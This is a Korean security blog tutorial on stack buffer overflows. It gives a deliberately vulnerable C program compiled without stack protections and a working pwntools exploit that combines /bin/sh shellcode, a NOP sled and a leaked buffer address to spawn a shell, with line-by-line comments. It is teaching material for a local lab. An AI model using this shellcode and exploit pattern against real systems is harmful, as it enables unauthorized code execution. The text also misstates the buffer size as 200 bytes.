시스템 해킹 실습 -9 . Buffer OverFlow (버퍼 오버플로우) [3]

2024. 7. 23. 00:52Information Security 정보보안/Vulnerability Analysis 취약점 분석

728x90


배울내용:

버퍼 오버플로우 취약점

시스템 해킹

Buffer OverFlow

버퍼오버플로우 실습 

메모리 취약점 

버퍼 오버플로우 파이썬 코드

ida ghidra binary ninja

NOP SLED

NOP 

ASLR

 

 

 

이번시간에 BOF(Buffer OverFlow) 에서 Shell Code 를 넣어볼것이다  

 

Shell Code 란? 

공격을 수행하여 해당 시스템의 Shell 을 획득했다면 해당 시스템에 매우 높은 제어 능력을 획득함을 의미한다.

Shell Code 한 피해 대상 프로세스의 제어 흐름을 공격하여 셀을 실행시킬수 있도록 만든 명령집합이다 

 

 

Shell Code 

\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05

 

 

위에보이는 쉘 코드는 인터넷에 Shell Code 라고 검색하면 다양하게 검색되는 쉘코드중의 하나이다.

scanf 우회 쉘코드 나 setreuid(geteuid(), getreuid())  이런 다양한것들이 있다

 

 

 

 

 

 

이제 계속 취약점 분석을하면서 gdb 로만 쓸수는 없다.  다른 더 쉽고 좋은 어셈블리어 프로그램들이 있는데 그중 유명한 3개인 IDA , Binary Ninja, Ghidra 가 있다

 

IDA, Ghidra, 그리고 Binary Ninja는 모두 바이너리 분석 도구로, 주로 리버스 엔지니어링 및 악성 코드 분석 등에 사용된다.

 

이들의 공통점은 바이너리 분석 기능 , 디스어셈블리 , 디컴파일러, 스크립팅, 플러그인 지원 이 가능하고 

다른점으로는 아래와 같다 

 

  • IDA는 오랜 역사와 강력한 기능을 자랑하지만, 고가의 상용 소프트웨어
  • Ghidra는 무료로 사용할 수 있는 오픈 소스 도구로, 다양한 기능과 모듈성을 제공
  • Binary Ninja는 직관적이고 사용하기 쉬우며, 빠른 속도와 Python API를 통해 유연성을 제공

 

이 도구는 각각의 장단점이 있으며, 사용자의 필요와 예산에 따라 선택할 수 있다. 

따로 설치방법이나 사용방법에는 이 포스팅의 주제와 맞지 않기에 따로 검색해서 설치, 사용 하길바란다.

 

 

 

다시본문으로 돌아와서 이번시간에는

NOP(\x90) 를 알아야한다

1. 아무 동작도 하지 않고 다음 주소의 명령어를 호출하는 기능

2. 환경에 따라 달라지는 주소 차이를 완화하는 역할

3. Shell Code 가 실행되면서 push,pop 같은 명령어 사용하는데,

해당과정에서 스택에 있는 Shell Code가 변조되지 않게 RSP 레지스터와 거리를 띄우는 역할

 

 

 

 

NOP (No Operation)의 기능

  1. 아무 동작도 하지 않고 다음 주소의 명령어를 호출
    • NOP는 CPU가 아무 작업도 수행하지 않고, 단순히 다음 명령어로 넘어가도록 한다. 이 명령어는 실행 시간 측정, 명령어 정렬, 타이밍 조정 등 다양한 목적으로 사용된다.
  2. 환경에 따라 달라지는 주소 차이를 완화
    • 셸코드를 삽입할 때, 정확한 메모리 주소를 찾는 것이 어려울 수 있다. 이때 NOP 슬라이드(NOP slide)를 사용하면, 셸코드의 앞부분에 여러 개의 NOP 명령어를 배치하여 셸코드의 시작 주소를 정확히 맞추지 않더라도 셸코드가 실행되도록 한다. NOP 슬라이드는 메모리 주소가 약간 틀려도 NOP 명령어를 통해 안전하게 셸코드가 실행되도록 하는 역할을 한다.

 ex) 

; NOP 슬라이드 예제
nop
nop
nop
nop
; 여기서부터 셸코드 시작

 

 

3. 스택 변조 방지

  • 셸코드가 실행되는 과정에서 스택에 있는 데이터를 보호하기 위해 NOP 명령어를 사용한다. 셸코드가 push, pop과 같은 명령어를 사용할 때, 스택 포인터(RSP 또는 ESP)와의 거리를 두어 셸코드가 안전하게 실행되도록 한다. 이렇게 하면 셸코드의 시작 위치가 약간 변해도 실행에 문제가 없게 된다.

 

 

 

그리서 위에 NOP 와 ShellCode를 이용해 아래와 같이 만들면된다 

 

 

 

 

 

 

고려사항 

셀 코드는 버퍼에 저장되므로, 버퍼의 주소를 Return Address 에 덮어야한다.

 즉 , 버퍼의 주소를 알아야 하는데 해당 프로그램은 실행시 버퍼의 주소를 출력한다. 

파이썬을 이용해 출련된 버퍼의 주소를 저장하고 해당 정보를 페이로드를 구성 및 전송한다.

 

 

 

 

 

 

 

코드작성

bof2.c  (아래의 주석에 컴파일 방법나옴) 

/*
    gcc -O0 -fno-stack-protector -no-pie -z execstack bof2.c -o bof2
*/

#include <stdio.h>
#include <unistd.h>

void init(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

void main(){
    init();
    char buf[512] = {};
    printf("buf @ %p\n", buf);
    printf("buf > ");
    read(0, buf, 1024);
    printf("Your Data : %s\n", buf);
}

 

 

위에 같은 코드를쓰고 실행해본다

 

 

그러면 입력한 값 그대로 나오게 되는데 이상한점이 실행할떄마다 출력되는 buf 의 주소가 달라진다는것이다.

이는 ASLR(Address Space Layout Randomization)이란 메모리상의 공격을 어렵게 하기 위해 프로그램을 실행할 때 마다 스택, 힙, 라이브러리의 주소를 랜덤으로 배정하는 기법이다.

 

 

 

ASLR의 보호기법중 하나이며 이는 포스팅이 지나가면 다양한 보호기법을 설명할때 한번에 설명할것이다.

본문으로 돌아와서 , gdb 로 컴파일한 작성했던 코드를 확인해보면 print함수 3개에 read 함수가 보인다 그리고 그중에 사이즈가 rbp-0x200 인것도 보인다 이는 Hex 값을 DEC로 했을때 512로 buf 사이즈라는걸 알수있다  

 

 

 

그러면 버퍼 오버플로우는 RET을 우리가 삽입한 코드(정확히 말하자면 주소)로 덮어 해당코드가 동작하도록 만드는 게 가능하다. 따라서 버퍼의 크기(200),  SFP(8)를 포함해 대략 208byte 이상을 입력한다면 그떄부터 RET을 덮을 수 있다.

 

이제 shellcode 도 알고, 크기도 알고 , 이미주소도 실행했을떄 출력이되니 알고, 페이로드만 잘작성해주면 될것같다. 

Shell Code : \x31...\x0f\0x05

buf 주소 : 0x7ffda5377460

buf 크기 : 200 bytes (SFP 포함시 208)

 

파이썬으로 페이로드 작성 

 

from pwn import *

p = process("./bof2")


shellcode =b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

p.recvuntil(b" @ ")
buf_addr = int(p.recvline().strip(), 0x10)
log.info(f"buf addr @ {buf_addr:#x}")

payload=b''
payload+=b'\x90' * 20 
payload+= shellcode
payload = payload.ljust(0x208, b"\x90")
payload+=p64(buf_addr)


p.send(payload)
p.interactive()

 

 

각줄을 자세히 설명하면 아래와 같다

 

from pwn import *

# 프로세스를 시작하고 바이너리 파일을 실행
p = process("./bof2")

# 셸코드를 정의. 이 셸코드는 /bin/sh를 실행하는데 사용됩니다.
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

# 바이너리 실행 중 특정 메시지를 받을 때까지 대기합니다. " @ "라는 문자열을 받을 때까지 대기
p.recvuntil(b" @ ")

# 다음 줄에서 버퍼 주소를 수신하고, 16진수로 파싱하여 정수로 변환합니다.
buf_addr = int(p.recvline().strip(), 16)
log.info(f"buf addr @ {buf_addr:#x}")

# 페이로드를 초기화
payload = b''

# NOP 슬라이드를 추가. 20개의 NOP 명령어를 추가하여 셸코드 앞에 약간의 여유 공간을 만듭니다.
payload += b'\x90' * 20

# 셸코드를 페이로드에 추가
payload += shellcode

# 페이로드를 0x208 바이트 길이로 맞추기 위해 NOP로 채웁니다.
payload = payload.ljust(0x208, b"\x90")

# 버퍼 주소를 페이로드의 마지막에 추가. 이 주소로 리턴하도록 하여 셸코드를 실행하게 합니다.
payload += p64(buf_addr)

# 준비된 페이로드를 프로그램에 전송
p.send(payload)

# 인터랙티브 모드로 전환하여 셸과 상호작용할 수 있게 합니다.
p.interactive()

 

 

 

그러면 작성된걸 저장해준뒤에 python3 ./bof2.py 로 실행해본다 

 

 

 

그리고 필자를 코드에

p.attach(p) 

pause

를써서 한번 확인하기위해 pause를 넣어봤다

 

 

 

그러면 909090 사이에 어떤값이 들어간걸 볼수가있다. 이는 우리가 코드에 넣었던 x90 NOP 로 NOP SLED 방식을 사용한것으로 ( NOP 슬라이딩 한것이라고 도함) 유추해볼수있다.

 

NOP SLED란?

NOP SLED는 셸코드를 정확한 주소에 놓지 않아도 실행될 수 있도록 하는 기법으로 이를 통해 메모리 주소가 조금 틀려도 셸코드를 실행할 수 있다.

  • SLED는 미끄럼틀처럼, 여러 개의 NOP 명령어가 연속으로 배치된 것을 의미

 

 

 

프롬프트 앞에 문양이 $ 로 바뀌면서

 

 

공격이 성공적으로 완료되며 ls 명령어를 입력 할수있게된다 

 

 

 

 

728x90